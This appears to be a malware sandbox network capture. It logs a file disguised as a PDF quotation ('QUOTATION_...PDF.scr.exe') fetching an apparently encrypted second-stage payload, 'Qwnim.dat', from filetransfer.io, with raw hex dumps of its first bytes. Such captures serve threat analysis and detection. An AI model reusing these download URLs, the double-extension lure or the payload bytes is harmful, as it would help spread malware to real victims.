f(B3(wJstDKCB;WgkH:3O{LXA2,]M5uYxbC-g]gp_7yTmFR:Qnz}i-V0XQP
2024-10-04 09:25:48 UTC	1369	IN	Data Raw: 63 33 25 df 6b 8b 89 0b 29 19 82 17 b7 ab cf ce 2a 7a 61 ac 22 59 e8 9c a2 2c b4 93 52 34 b9 12 6f 25 26 f6 eb e6 4f e9 9e 22 b8 99 55 88 da 8e 9f a8 e0 3a 1f a0 51 04 af 0a 34 de ec c6 57 32 c7 ae ac 47 41 bd 4e 50 80 ad 96 b0 9a 33 0b 03 19 59 b7 3b e6 d4 8b e4 dc 30 07 da 5c 3e 84 2d 69 ba a2 be 43 3b d4 42 39 b3 b7 f1 19 0c 0c 10 da 05 d3 ea 83 e4 88 1c ad fb 22 03 45 6a c8 56 2a ee aa 46 d2 97 46 01 2f c9 ed f8 f8 9b 9a 0e 1f 67 83 f0 9c 3f 86 d8 1d e0 90 8e dd fb d7 91 87 41 36 f8 cc 53 c5 fb 7b 8f dc eb da b1 86 18 1b 28 94 8c a5 09 63 a9 fa ec 31 c3 65 e0 94 72 b6 51 12 f7 0c bc 13 d7 b2 0b a3 68 9e 12 48 1a dc 7d 70 f1 f8 90 8f 42 8e b8 38 21 6b d8 d0 69 ef 8c 16 45 e4 21 87 34 64 56 b8 62 2f 61 ef 4f 65 44 d3 e6 bb db 62 a7 0a 6a bd 72 56 60 a5 Data Ascii: c3%k)za"Y,R4o%&O"U:Q4W2GANP3Y;0\>-iC;B9"EjVFF/g?A6S{(c1erQhH}pB8!kiE!4dVb/aOeDbjrV`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	50243	188.114.96.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:25:50 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:25:52 UTC	1068	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:25:51 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=7n83oa9eegeld4ddbjpjlaspo9; expires=Fri, 18-Oct-2024 09:25:50 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/T4jQBjNxmaAP cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vglwoC4TeuuHggCpInjQMwl%2FnIbGp2xeqZug764vJOSsTd17rAzDOWFNobLJnSrQ%2BzJpV0j9ulx45%2F9ilXuKIbwdDq93KC94kUGEtMtOBpRr5LYJI6HnfR0Lh4KoR%2BjAgbM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd4207ecd128cc8-EWR
2024-10-04 09:25:52 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 54 34 6a 51 42 6a 4e 78 6d 61 41 50 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/T4jQBjNxmaAP">Please click here to continue</a>.</p>
2024-10-04 09:25:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	50244	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:25:52 UTC	98	OUT	GET /storage/download/T4jQBjNxmaAP HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:25:53 UTC	1018	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:25:53 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=2ad362008c8b72ac73c7c77db1e326cc; expires=Fri, 18-Oct-2024 09:25:53 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4aPuwmOM0cFDQIaabsrTOe7lcQKtgxUJOjzJamJtOBtO735dRDRlAbyMytQGAq3EcQkgKelQIQ3WH56fuYUK1HZLriTgnQ%2FJWW6AcZBcsaCFonq8%2FD36GJGpc2AjzrpqILKYbLOZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd4208e8ed68c0f-EWR
2024-10-04 09:25:53 UTC	1369	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:25:53 UTC	1369	IN	Data Raw: da 56 5d 1c 30 5d d4 a8 71 04 f4 f4 99 09 60 d1 7a ab e0 9f d9 88 d0 ad 46 84 e3 18 f2 6e 37 8f 24 49 45 d5 43 3f d8 3d 01 d6 48 d8 f9 63 c7 89 87 2d d7 15 3b a5 dc e5 58 1e 10 8d 9c 03 ad ac 0c a8 d1 84 07 c0 3b ab 10 ae ee f4 24 01 6f bc df 4d 85 64 89 37 8c aa df 56 b5 f8 07 6b df 2d e0 51 1a fd 88 5e ba d2 39 d4 18 0f aa 27 2f ce 84 68 92 1c 45 c4 fd ab e0 8d bc af bf ba 1d 43 7b 28 b3 4e 70 ff f7 7f 96 fe db 60 bd 79 db 09 bc 30 36 98 b9 11 f1 c7 11 48 a1 9a d7 c7 8c 82 90 ce 21 1d b0 72 b0 db 11 3e 3c 11 e5 33 b9 8e 3b cd dd c9 fe 52 1b 48 9d 5e 51 8a e8 5b 59 ff 91 2f a8 84 9a 29 d9 2c 35 b6 5e f2 59 64 f4 e9 ff 60 ba a0 28 65 69 6e a4 2d 39 2c d6 eb 3c ac 50 e4 7b 77 d8 1f 87 0d 90 67 a9 eb 8a c9 19 f1 71 e4 d3 a4 5f d9 10 4f 24 a8 83 9b 33 f6 c6 Data Ascii: V]0]q`zFn7$IEC?=Hc-;X;$oMd7Vk-Q^9'/hEC{(Np`y06H!r><3;RH^Q[Y/),5^Yd`(ein-9,<P{wgq_O$3
2024-10-04 09:25:53 UTC	1369	IN	Data Raw: 53 66 41 70 68 6c f0 f3 73 f2 c9 a7 cb 1e f6 25 44 47 df 24 f4 c0 9e c0 55 42 10 65 0d a1 a4 45 ca 58 d1 94 fb c6 61 c6 60 5e 48 1c 10 19 d7 94 bf 23 a2 4f d5 a9 15 2c 28 0b d9 c3 14 6b c8 aa 85 f5 a9 41 94 ec 62 fc ce b2 78 6e 66 99 47 00 15 71 01 62 eb 03 2d ef a0 aa 23 d6 f2 e0 65 44 d9 10 98 78 7b c7 b7 f6 16 3c 35 42 ee f8 a9 f3 35 95 4d dc 9c 10 38 a8 bf 44 7c 4b f0 48 2a 3f 5c 5b b4 4d 5f d5 3c 97 61 bd 8d 2f 11 93 73 d1 b3 1d b4 0e bd 7d c0 47 b0 16 0f 5f 2b 2d 92 db 05 4a 44 47 05 df a6 45 0b 86 32 89 a7 7d 36 e1 54 42 a7 12 f1 dc 59 e5 da 31 2a cf 54 e7 f0 a4 67 38 42 1e 5b 82 03 cd 51 30 e2 e4 86 e8 f4 33 77 bd 0e 94 d5 21 66 76 01 7b 14 3e ec 0b e1 f7 be f2 f5 4f bc cd d5 89 dc b4 89 ae 82 57 e4 ab 0d 1c 79 85 b9 ac 65 9c 00 30 9f 99 6e 6d 1b Data Ascii: SfAphls%DG$UBeEXa`^H#O,(kAbxnfGqb-#eDx{<5B5M8D\|KH?\[M_<a/s}G_+-JDGE2}6TBY1Tg8B[Q03w!fv{>OWye0nm
2024-10-04 09:25:53 UTC	1369	IN	Data Raw: 76 25 0b 95 48 9e 19 eb d6 3e 1a 14 da fe 07 fc 1f 27 3c cf 78 07 8e 76 6a 4b be df 40 89 ef b3 0a 9b 7a e2 c5 ff ef 56 a5 ca fb 9c cd e6 9e df 85 9f 85 f2 10 e8 77 a1 ea 68 9c 75 44 fa 8b ae 5c 00 eb 5f 5f 3e 7d 0d b6 8c 00 43 78 cc e2 87 05 a4 2f 51 11 18 13 07 39 f0 59 40 c9 f4 86 1b 7e 62 2d 36 17 dc 45 eb 0e 10 f4 4a 30 c8 3e d1 fe 6f 1a 6c 40 33 a7 5e 2c 6e 65 c0 9f 4d 9c 90 98 38 22 99 6a f2 15 d0 ac 18 76 ef 50 4b 44 08 d5 e9 e0 c3 3f 45 13 25 4d 0c be da ab 57 43 ef d5 d8 a2 c8 79 43 c7 3d cf 01 26 2e af f3 e9 87 18 4c 5a 49 ff e2 92 eb 54 0a 76 a6 0f 0e 4c 8f 85 eb 23 5d 53 df da 96 41 61 b0 c7 20 7b 4f 53 c0 1a 0a ed bf 58 cb 6b ca a7 d0 dd 4f 83 78 7c be f5 13 00 1f b6 9c 17 b4 a7 58 51 55 99 d4 4a 92 56 68 66 e1 33 99 cb dc a6 02 82 c1 4b 16 Data Ascii: v%H>'<xvjK@zVwhuD\__>}Cx/Q9Y@~b-6EJ0>ol@3^,neM8"jvPKD?E%MWCyC=&.LZITvL#]SAa {OSXkOx\|XQUJVhf3K
2024-10-04 09:25:53 UTC	1369	IN	Data Raw: e2 35 ed 46 a7 2c 65 7a 17 20 20 ff 08 81 c4 ea c3 02 b1 68 f8 df ab 4d 75 e7 42 f6 9d 33 ec 2c 27 55 4b 87 c1 7a f1 20 cb 81 33 ae f8 21 aa 4b 71 0c 82 41 d4 27 35 0b b7 6a 47 59 c6 3e 63 da de 5a b8 fd a3 37 d4 cf 8e 78 93 93 8a a1 1d a9 b8 19 4c bc a6 f1 af 09 d0 51 7c 7d f5 7c 10 d7 3a eb e1 36 b1 4f 81 eb e8 1a 9c c2 6b c5 72 f6 ba cf 43 54 b8 1a d1 b9 ac 78 77 80 4c cc 61 35 93 7c c0 63 27 6a 72 c1 c1 0b 58 fa 39 27 3a 68 fd 6f 19 b9 9b be 10 44 21 0b 50 07 c3 96 c7 f7 c3 8b 9f 76 5d c6 7e 28 77 16 18 ba fb 09 76 a8 c8 d2 ec c8 c9 9b 20 2d 7a ca 96 47 78 24 a6 58 ab b9 96 e4 0b 83 1a 5e 52 43 2b da 64 e1 6c d9 db 1a 1b 8a 5e 85 bb 93 e2 04 f6 0e cc a4 9c 80 38 bb 98 94 13 be 92 c4 55 aa a4 59 50 40 c9 38 b5 a2 65 ad bd e1 ab 9d 0b a9 2f 55 f8 80 ec Data Ascii: 5F,ez hMuB3,'UKz 3!KqA'5jGY>cZ7xLQ\|}\|:6OkrCTxwLa5\|c'jrX9':hoD!Pv]~(wv -zGx$X^RC+dl^8UYP@8e/U
2024-10-04 09:25:53 UTC	1369	IN	Data Raw: cf e3 34 fd 62 b6 19 07 14 4a c7 9d 49 f2 ae 2f 6c 12 22 91 1a a9 ff 84 12 34 6f a3 80 de 66 d8 36 49 42 e3 98 65 bb db 5c f1 00 98 89 d0 1a 40 30 2a d6 f2 5a 79 1b 44 a6 05 4d bc 6b 19 31 9a 1a 98 54 a3 27 33 50 3f 40 f4 d3 a7 37 14 a2 71 43 4a d8 40 13 f0 0e c4 ab cd 20 2a 84 37 98 05 42 ee 63 14 b5 1a f4 7b 57 84 7e c6 fc b5 27 e8 34 fa 49 a4 41 d8 5d a6 2e a8 cc c9 70 1d b0 81 ea b8 7c 67 e8 1d ed aa 0a d5 f4 49 8e 81 de f4 35 71 d5 54 31 c3 6a 61 bf 0a 9b b3 be b7 34 4b c4 1d 16 1a b2 5f 29 52 98 ac cf 93 4a ae 09 dc 07 c3 b2 24 af ba 88 61 03 68 b7 6f a9 29 e9 99 bc 53 1e 8e 98 29 c9 62 79 ab 4c f6 2f 58 72 c9 89 29 18 f4 c9 98 17 e5 42 71 10 60 f3 71 04 32 37 04 8d a6 fc 79 3e 41 f1 57 88 d0 25 8f 02 cd a8 ab f7 03 4c 49 36 f1 16 6d cc ff 86 8e ee Data Ascii: 4bJI/l"4of6IBe\@0ZyDMk1T'3P?@7qCJ@ 7Bc{W~'4IA].p\|gI5qT1ja4K_)RJ$aho)S)byL/Xr)Bq`q27y>AW%LI6m
2024-10-04 09:25:53 UTC	1369	IN	Data Raw: 39 90 b4 68 7b 14 72 02 24 0c 4b 36 13 b0 06 3e f3 f7 da 1d 71 a8 fe c6 0b cb 8c b8 ab 2f 68 37 81 49 b6 5b 02 b0 2b f1 88 7c 26 30 b1 89 1d db d8 ed d7 67 f3 b5 80 d1 e3 fa 12 7c 6e 5d f3 89 42 67 cf e9 98 13 87 c0 41 b1 c9 62 de 7c a2 97 81 87 a4 fb 39 4d 95 05 ef fe fa de cb 62 f1 16 eb 9e 33 54 d2 36 0a c4 65 04 04 dc fc 4b 7e dd 93 55 21 ba c3 6a 92 a8 f9 58 dc 42 2e 60 88 ec 1a c9 3c 86 5b 2c 6f ea 81 16 8a fd bc ed 7c a4 d4 7b ad a9 f0 3e ad 9c 25 0f 95 2c 3e ea a0 b1 2d 42 35 a2 ac d0 e7 c2 47 10 36 8e 5b 75 fc 7b f2 26 d2 68 54 8e 65 c8 30 bd 79 ec f6 5a bb b3 cd 44 0c 9e 9d c2 8a 1c 51 29 09 19 9a a3 a7 7f 0f f9 86 b1 eb 7f bd f4 74 bc 86 8e e6 c4 89 60 da 52 15 d6 80 a1 3f fa 3c 81 f0 23 16 fa 62 71 24 1d 4a 22 59 e2 f5 8c db c6 c1 be cb 4d 7e Data Ascii: 9h{r$K6>q/h7I[+\|&0g\|n]BgAb\|9Mb3T6eK~U!jXB.`<[,o\|{>%,>-B5G6[u{&hTe0yZDQ)t`R?<#bq$J"YM~
2024-10-04 09:25:53 UTC	1369	IN	Data Raw: 2a 14 bb e9 7c 22 c5 0b fd ee a4 f8 d7 8e 0f a3 bf ed e1 8a b3 9b 05 32 2f f3 ad 94 4a 93 3a 47 ab b8 9c 20 f4 28 af ab fd 2e 44 88 57 df 62 2c 6a 98 05 9a 95 70 ce 92 eb b8 a9 38 41 93 35 ac 6d 6c be bd af 66 7c 51 2a ec d8 99 dc 1b aa f5 7e 8b 49 8b fb 8d 70 b8 0e 06 38 75 77 cf d1 45 20 47 b6 80 6e 5e ed 88 82 b5 de d8 72 3d 2e ec f6 43 67 0a 1f 63 05 de bf c8 10 04 13 71 1e f6 c6 0d a1 37 1f 26 60 4d bb 50 c0 99 11 f8 0b 09 1b d9 05 8b 2d 36 de 09 91 30 76 2b 74 55 b6 8d b6 c7 6d a7 92 79 f9 c6 c5 d1 9f 49 4d 96 a5 35 b2 07 78 ec a4 f3 81 c7 12 6a 7b b7 9c cf b2 9d 3b 03 00 5c 3a 45 87 cd 9e 19 92 f7 20 61 a8 c4 c2 b2 96 f9 db 98 59 ad d8 2b 9b c9 c3 b4 c1 b5 df 97 ad 90 4b ce bd 40 1e 7c 59 93 96 5c 9d 5d 53 fd 48 f9 33 cb 03 d7 0e 33 c6 87 6d 91 3b Data Ascii: \|"2/J:G (.DWb,jp8A5mlf\|Q~Ip8uwE Gn^r=.Cgcq7&`MP-60v+tUmyIM5xj{;\:E aY+K@\|Y\]SH33m;
2024-10-04 09:25:53 UTC	1369	IN	Data Raw: 93 2b ed bc 2e 24 c7 40 b0 47 04 99 99 f2 66 45 c1 97 56 e2 bf 12 1b 07 68 d5 7d 77 f6 7e 20 7d ce 35 8f 0b a5 1b fb 09 82 b4 73 10 bf d5 4a 22 03 55 b2 2a 49 57 86 f9 82 9c 62 c5 3c ad 00 ad 58 46 e9 aa 7c 2a 7d a3 79 6c 14 c7 9d fc 43 60 21 f0 5b ad 22 b9 5e b4 6b d1 e9 6b 75 90 d1 6a 44 ef 1b 09 47 e8 77 2e 8e 5f 66 8a 81 53 ca 73 03 2d cf bc ff bb c0 2b b4 20 54 b4 30 a9 b1 96 c1 fe ce 95 aa 30 a8 81 7a 00 a5 d1 c1 ed 8e 7a 93 84 f9 fc e2 f9 cd 05 de fb ea 44 c2 88 d0 46 b8 ed a3 b8 2c 2c f6 97 e3 e9 04 94 61 1e e4 17 d2 18 2d 3b d7 fa 4d 52 23 e5 98 ed 0e bd 41 11 23 0f 2c ed db 59 ee 6f 8d 5c 3c 91 f5 3e 83 ba 08 a2 a6 75 c4 06 44 b8 fd bb 7c 84 d4 8b 6b 30 91 e8 38 e1 f1 a0 08 7d 45 06 02 51 3f 1f b6 52 73 e5 45 21 ab 94 4c ee 1a e3 b8 04 73 9d 1e Data Ascii: +.$@GfEVh}w~ }5sJ"UIWb<XF\|}ylC`!["^kkujDGw._fSs-+ T00zzDF,,a-;MR#A#,Yo\<>uD\|k08}EQ?RsE!Ls
2024-10-04 09:25:53 UTC	1369	IN	Data Raw: c7 08 7f 1d e7 c2 7f 01 79 7e 82 5e b8 9b 5a c3 55 fa 83 be c7 78 41 57 bc 23 02 5d ee 12 c0 43 0e 3c 09 83 18 a6 68 09 0f 5b c3 23 68 67 43 f0 1a 20 3f 76 a3 d4 d1 f4 2a 8b 09 dd 20 a1 93 0e 81 8c e5 aa 59 75 8a 3f 49 ba b5 31 b3 d0 63 14 06 e1 2f fe 0c 5c 73 e5 12 69 02 8e 8f 31 f4 2f 2b e0 4e 1a 38 68 2c 1f 79 60 65 21 9b 63 2d 77 b0 73 2d 63 63 88 d5 09 65 d7 c2 03 2c df 41 2c 26 a5 ee 71 b2 24 7b 7c 23 8a 07 11 ac 84 5c 4c 5e db 7e 0b ee 7e f6 62 57 c6 13 6f 74 60 2a 45 4f 9a 2e 31 15 2b c1 93 b8 5b 02 e8 97 d4 25 e7 4d ef af 09 93 cc a2 7e e3 4f 28 1e 10 57 48 5c bb 89 cd 20 61 5a d8 a8 61 ad 7a b4 ae 2b e5 d0 80 3c 99 a2 1f 48 66 20 cd 50 42 83 f5 a5 34 40 67 db 8a 89 cb 90 dc e3 56 11 87 da 91 1c 1a a1 f7 ce dd 0c d8 59 7b bf 05 9a 1e f6 4f 44 52 Data Ascii: y~^ZUxAW#]C<h[#hgC ?v* Yu?I1c/\si1/+N8h,y`e!c-ws-cce,A,&q${\|#\L^~~bWot`*EO.1+[%M~O(WH\ aZaz+<Hf PB4@gVY{ODR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	50247	188.114.96.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:25:56 UTC	95	OUT	GET /data-package/eZFzMENr/download HTTP/1.1 Host: filetransfer.io Connection: Keep-Alive
2024-10-04 09:25:57 UTC	1074	IN	HTTP/1.1 302 Found Date: Fri, 04 Oct 2024 09:25:57 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close X-Powered-By: Nette Framework 3 X-Frame-Options: SAMEORIGIN Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=362jfe1jmum7m8heg6d4e6ljr9; expires=Fri, 18-Oct-2024 09:25:56 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: X-Requested-With Location: https://s23.filetransfer.io/storage/download/9R6i4hkSrRN5 cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XlRw%2BAE2sElqu82bpegVvKd%2B9sOcLGMPsuCb0h9u8EHD9fGR2c8tccJuD64Rc4Ugrfbf%2FO1xSOu%2FVtPNJqar4ph9S1uQvgXktxDOMixNVJtdnXPCIiS8X0%2BUnfnOa4%2BJ%2Bzc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cd420a40b8a0cd9-EWR
2024-10-04 09:25:57 UTC	134	IN	Data Raw: 38 30 0d 0a 3c 68 31 3e 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 0a 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 32 33 2e 66 69 6c 65 74 72 61 6e 73 66 65 72 2e 69 6f 2f 73 74 6f 72 61 67 65 2f 64 6f 77 6e 6c 6f 61 64 2f 39 52 36 69 34 68 6b 53 72 52 4e 35 22 3e 50 6c 65 61 73 65 20 63 6c 69 63 6b 20 68 65 72 65 20 74 6f 20 63 6f 6e 74 69 6e 75 65 3c 2f 61 3e 2e 3c 2f 70 3e 0d 0a Data Ascii: 80<h1>Redirect</h1><p><a href="https://s23.filetransfer.io/storage/download/9R6i4hkSrRN5">Please click here to continue</a>.</p>
2024-10-04 09:25:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	50248	188.114.97.3	443	7484	C:\Users\user\Desktop\QUOTATION_OCTQTRA071244PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-04 09:25:57 UTC	98	OUT	GET /storage/download/9R6i4hkSrRN5 HTTP/1.1 Host: s23.filetransfer.io Connection: Keep-Alive
2024-10-04 09:25:58 UTC	1020	IN	HTTP/1.1 200 OK Date: Fri, 04 Oct 2024 09:25:58 GMT Content-Type: application/octet-stream Content-Length: 930824 Connection: close Last-Modified: Thu, 03 Oct 2024 06:02:30 GMT Set-Cookie: nette-samesite=1; path=/; SameSite=Strict; HttpOnly Set-Cookie: PHPSESSID=8ee672a45a5c118bb081f93024ca3c90; expires=Fri, 18-Oct-2024 09:25:58 GMT; Max-Age=1209600; path=/; SameSite=Lax; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Disposition: attachment; filename="Qwnim.dat" Accept-Ranges: bytes Accept-Ranges: bytes ETag: "66fe3376-e3408" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6YCpi%2BNsmLmpDwQ0k0CmidN5sJoV2sZXZFi76sotVui5e1O4UwL7Mum%2B4pzgzVFGHlwVOss0f8emBJVMHHE5cqPRlpSad9JWWFwLW4QqfnsGsez%2FseQzdzcaLiqfS8goXiIfAN3J"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cd420ac2b504388-EWR
2024-10-04 09:25:58 UTC	349	IN	Data Raw: 28 3e 86 09 e8 43 a0 a4 78 be 41 d8 01 2a 36 d0 c2 08 ec 6f f5 1f a0 cd d4 e4 ae 5b fb b3 85 bf 70 0b 96 a8 3c 9a 0e cd b1 4c 33 79 61 23 ca 18 ee 7b 2c 1d df 9a 4f d9 8e 92 e2 66 2e 92 b1 cf 1b 88 6f 0f c3 8d bb ee e2 e9 76 0a 9c c4 53 f3 72 a2 3d 30 f6 ac 43 50 6c 9f a1 31 69 79 9a 0f 5d e5 d6 4a 82 5e 90 3a ab 6a 0c 66 5f 65 f6 8f 7a 50 55 b2 60 fa fc 72 aa c2 ae 3e f9 5f 4a 89 b6 80 51 3d 81 81 41 61 d9 5e 3b 04 d0 b3 f2 42 6b c1 12 fa 4f 94 8b 11 85 4b b8 b3 37 1a f5 aa 92 c4 8e 0e 71 78 04 33 65 54 f1 be 55 65 ca d8 0d 39 a3 df 86 f1 11 ad 98 99 e0 17 16 7c 6e c2 b7 7a 25 cb e0 d3 75 90 ed f3 86 21 7e 03 51 b5 cb c5 7c 74 3a 2d d6 ad f8 7b b2 d5 ba 84 5a ff 42 c0 77 e7 68 6d 6f dc c6 59 87 44 07 cb 34 d4 a2 48 a5 d9 f3 53 66 4f 95 61 77 2a ba b0 37 Data Ascii: (>CxA6o[p<L3ya#{,Of.ovSr=0CPl1iy]J^:jf_ezPU`r>_JQ=Aa^;BkOK7qx3eTUe9\|nz%u!~Q\|t:-{ZBwhmoYD4HSfOaw7
2024-10-04 09:25:58 UTC	1369	IN	Data Raw: 67 dd 24 29 55 60 2b e2 b5 8f ef 43 4a 45 ea 5b 7c 5b 96 a6 d9 e9 81 eb ce 96 5c 2b c6 e0 97 3b d7 e4 9b f3 f9 f1 49 2e 47 dd 61 f4 1a e4 c3 87 50 e4 a5 94 a3 61 be 91 69 36 f3 5c d9 b3 e0 17 61 be ce 62 88 a6 af f5 fd 74 e3 8e 68 70 ab 23 0a 45 02 5b 08 e8 0d 4b 48 83 1e ce 83 6a a7 60 4e 10 15 34 25 52 c1 23 81 82 86 d9 41 66 09 e8 97 de 38 bc 92 f0 64 49 8e 27 1a 73 7e 41 42 13 b9 2c 85 db 73 f7 18 f0 be a1 b3 ce dc d2 a9 8a b6 c2 d7 a9 b2 2b 89 1d 2d 73 c5 ec 51 7d e1 1d 4b 28 58 63 19 09 9f d4 87 07 39 06 0e ad 9e 80 7f 6c 5c 3a 25 e5 16 cf b4 46 1c f5 52 36 44 03 0b 91 a6 c3 e3 37 f9 73 73 d4 cc be d5 bd c8 25 28 55 b1 98 2c 6d b8 9f 06 35 c4 0c fb 3f bf 4d 28 3c 17 f5 5d 26 43 34 09 c3 38 87 63 53 38 43 b9 d9 45 d6 70 07 11 dc 9b 6a da 17 5e aa 6e Data Ascii: g$)U`+CJE[\|[\+;I.GaPai6\abthp#E[KHj`N4%R#Af8dI's~AB,s+-sQ}K(Xc9l\:%FR6D7ss%(U,m5?M(<]&C48cS8CEpj^n
2024-10-04 09:25:58 UTC	1369	IN	Data Raw: 38 26 de fa 78 94 47 1b a8 1f 3e f8 7b c8 37 b6 c0 75 67 53 44 e9 b2 47 1f 92 7e dc a9 9a 03 c5 c2 8b fd 6c 58 95 6b c7 fe a7 f5 52 00 2a 86 0f 21 83 bf 58 63 b9 f2 0b 50 ee 0a 05 e6 ca 9b 87 5a aa f7 90 9a 19 85 56 a2 fd 42 44 4d 78 6e e8 43 ef 30 d1 60 fb 0e 7a b6 30 25 f3 fa 13 fb 85 2a 72 d5 df ab 1f ae 8c 8f 8b 1e 19 16 ed 5b bf 79 7a 79 42 c4 5b 70 1a be e6 93 79 1c 9b 46 54 89 66 5c 11 bd 7f ac 07 5c 37 3e 81 3a 62 36 ac f5 81 06 6c 91 b6 e9 55 01 cc 33 42 ab 65 66 49 b8 cc d9 3f c8 b8 08 4d eb 33 68 7a 42 ff 72 61 4e 3f aa 09 32 b5 60 d4 7a ab 1b d0 80 5e c6 c9 57 40 8d cf 91 cd eb 79 26 8e e8 b6 22 90 0b 62 4a 2e 14 b3 68 e5 16 51 a9 97 b5 30 68 a0 df 11 c1 b5 9e 4a b2 1d b5 ad 7a 4e 04 64 f4 c7 84 ec fb b4 a7 94 1f d6 78 a7 c6 cb cb 4b d3 60 15 Data Ascii: 8&xG>{7ugSDG~lXkR!XcPZVBDMxnC0`z0%r[yzyB[pyFTf\\7>:b6lU3BefI?M3hzBraN?2`z^W@y&"bJ.hQ0hJzNdxK`
